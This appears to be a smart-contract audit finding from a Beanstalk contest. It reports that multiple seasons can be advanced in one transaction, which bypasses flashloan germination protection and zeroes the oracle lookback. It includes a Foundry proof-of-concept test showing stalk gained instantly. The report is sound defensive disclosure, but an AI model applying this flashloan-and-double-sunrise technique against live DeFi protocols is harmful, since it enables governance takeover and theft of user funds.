DeFiHardhatFoundry
250,000 USDC
View results
Submission Details
Severity: medium
Valid

Allowing the execution of more than a single `sunrise` function when enough time has passed is really dangerous

Summary

It is possible to advance multiple seasons if enough time passes. That can lead to serious problems for the protocol

Relevant GitHub Links:

https://github.com/Cyfrin/2024-05-beanstalk-the-finale/blob/main/protocol/contracts/beanstalk/sun/SeasonFacet/SeasonFacet.sol#L79-L84

Vulnerability Details

It is possible to advance multiple seasons if enough time has passed. That can lead to some issues that can be exploited in the protocol.

Issue nº1:
Beanstalk was previously hacked due to a governance attack powered by a flashloan. The hacker was able to get enough voting power (stalk) to unilaterally drain all funds. This was possible because when someone deposited into the silo he got the corresponding amount of stalk in the same transaction. After this event, the Beanstalk team changed that to prevent flashloan attacks by putting in a germinating state to stalk that new deposits would mint. With this state, the user will not get immediately the stalk and a flashloan attack would be impossible to execute because it needs to be done in the same transaction. This germinating state requires to pass 2 seasons in order to claim the stalk that has already germinated. Seasons are meant to be 1 hour long so it would take 2 hours to claim the stalk. However, if enough time elapses it is possible to advance multiple seasons in the same transaction.

Let's first look closely at the sunrise function:

function gm(
address account,
LibTransfer.To mode
) public payable fundsSafu noOutFlow returns (uint256) {
require(!s.sys.paused, "Season: Paused.");
require(seasonTime() > s.sys.season.current, "Season: Still current Season.");
uint32 season = stepSeason();
int256 deltaB = stepOracle();
uint256 caseId = calcCaseIdandUpdate(deltaB);
LibGerminate.endTotalGermination(season, LibWhitelistedTokens.getWhitelistedTokens());
LibGauge.stepGauge();
stepSun(deltaB, caseId);
return incentivize(account, mode);
}
function seasonTime() public view virtual returns (uint32) {
if (block.timestamp < s.sys.season.start) return 0;
if (s.sys.season.period == 0) return type(uint32).max;
return uint32((block.timestamp - s.sys.season.start) / s.sys.season.period);
}

The seasonTime function returns the current timestamp minus the timestamp when the protocol either started or unpaused in case it was paused at some point. Hence the time elapsed from the beggining divided by the period which should be 1 hour. This is the theorical amount of season that should have passed if the sunrise function whould have been called exactly when an hour would have passed. The require statement ensures that this amount is greater than the current season number. This means that if for example 2 hours passed before the last sunrise call, it is possible to call the sunrise function 2 times in the same transaction.

Since the flashloan protection consists in 2 season germination for the stalk, it means that it can be bypassed by anyone when more than 2 hours passed without calling the sunrise function. This event can happen for a lot of factors:

  • Blockchain outrage (considering it will be migrated to an L2)

  • Block stuffing

  • Normal users not calling sunrise function

If this event happens someone can just take a flashloan, deposit into the silo, call the sunrise function twice and get all the stalk immediately proportional to the flashloan.

Proof of concept:
The following test uses the silo.t.sol setup.

function test_bypassFlashLoanProtection() public {
uint256 depositAmount = 100_000_000 * 10 ** 6;
// User takes a flashloan
mintTokensToUser(farmers[0], C.BEAN, depositAmount);
vm.startPrank(farmers[0]);
// Enough time passes equivalent to 2 seasons
skip(100000000);
// Malicious user deposits the flashloan
(uint256 amount, , int96 stem) = bs.deposit(C.BEAN, depositAmount, 0);
uint256 stalkBefore = bs.balanceOfStalk(farmers[0]);
// He advances 2 seasons
uint256 incentive1 = bs.sunrise();
uint256 incentive2 = bs.sunrise();
emit Debug(stalkBefore);
emit Debug(bs.balanceOfStalk(farmers[0]));
}

Result:

Ran 1 test for test/foundry/silo/silo.t.sol:SiloTest
[PASS] test_bypassFlashLoanProtection() (gas: 1458708)
Traces:
[1458708] SiloTest::test_bypassFlashLoanProtection()
...
├─ emit Debug(number: 0)
├─ [6932] Beanstalk::balanceOfStalk(Farmer 1: [0xA57dB32D977ed1D8d2012Ac42f66C75a001Ba71C]) [staticcall]
│ ├─ [6487] SiloGettersFacet::balanceOfStalk(Farmer 1: [0xA57dB32D977ed1D8d2012Ac42f66C75a001Ba71C]) [delegatecall]
│ │ └─ ← [Return] 1000000000000000000 [1e18]
│ └─ ← [Return] 1000000000000000000 [1e18]
├─ emit Debug(number: 1000000000000000000 [1e18])
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 519.94ms (9.24ms CPU time)
Ran 1 test suite in 1.25s (519.94ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

As we can see, the user got stalk immediately without any germination because more than a single season elapsed. This break the flashloan protection because a user can take a flashloan and get a huge amount of stalk in the same transaction. With this stalk, he can propose BIP or redeem them for beans.

Issue nº2:
When updating the oracle in the sunrise function, the price fetched from the twaDeltaB will be instantaneous and will not be actually time weighted which can lead to manipulations.

function twaDeltaB(
address well,
bytes memory lastSnapshot
) internal view returns (int256, bytes memory, uint256[] memory, uint256[] memory) {
AppStorage storage s = LibAppStorage.diamondStorage();
// Try to call `readTwaReserves` and handle failure gracefully, so Sunrise does not revert.
// On failure, reset the Oracle by returning an empty snapshot and a delta B of 0.
Call[] memory pumps = IWell(well).pumps();
try
ICumulativePump(pumps[0].target).readTwaReserves(
well,
lastSnapshot,
uint40(s.sys.season.timestamp),
pumps[0].data
)
returns (uint[] memory twaReserves, bytes memory snapshot) {
IERC20[] memory tokens = IWell(well).tokens();
// @audit if for some reason 2 gm functions have been called within the same transaction, this lookback will be 0 and the
// returned price will be instantaneous, hence manipulable.
(uint256[] memory ratios, uint256 beanIndex, bool success) = LibWell
.getRatiosAndBeanIndex(tokens, block.timestamp.sub(s.sys.season.timestamp));
// If the Bean reserve is less than the minimum, the minting oracle should be considered off (1000 beans).
if (twaReserves[beanIndex] < C.WELL_MINIMUM_BEAN_BALANCE) {
return (0, snapshot, new uint256[](0), new uint256[](0));
}
// If the USD Oracle oracle call fails, the minting oracle should be considered off.
if (!success) {
return (0, snapshot, twaReserves, new uint256[](0));
}
Call memory wellFunction = IWell(well).wellFunction();
// Delta B is the difference between the target Bean reserve at the peg price
// and the time weighted average Bean balance in the Well.
int256 deltaB = int256(
IBeanstalkWellFunction(wellFunction.target).calcReserveAtRatioSwap(
twaReserves,
beanIndex,
ratios,
wellFunction.data
)
).sub(int256(twaReserves[beanIndex]));
return (deltaB, snapshot, twaReserves, ratios);
} catch {
// if the pump fails, return all 0s to avoid the sunrise reverting.
return (0, new bytes(0), new uint256[](0), new uint256[](0));
}
}

The s.sys.season.timestamp is the saved timestamp that gets updated when the oracle has computed the delta B. But when 2 seasons get executed in the same transaction, the second one will compute the substraction of the block.timestamp minus the s.sys.season.timestamp that will have the same value because it has been saved in the same transaction. This will result to 0 and will be used as lookback to fetch the delta B from wells.

Impact

Medium, the scenario where the sunrise function is not called for more than 2 hours can be pretty rare but a user could leverage this moment to get a lot of benefit with a flashloan or to manipulate the price and get benefit from the manipulated delta B. Medium risk should be good for it.

Tools Used

Manual review

Recommendations

I would only allow to call the sunrise function once at a time even when a lot of time passed since the last sunrise call. That would disable this attack and all other components that rely on the season number. Right now all the components that depend on the season number can be manipulated by this same attack when a halting happens for any reason.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

flashloan attack after calling gm twice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.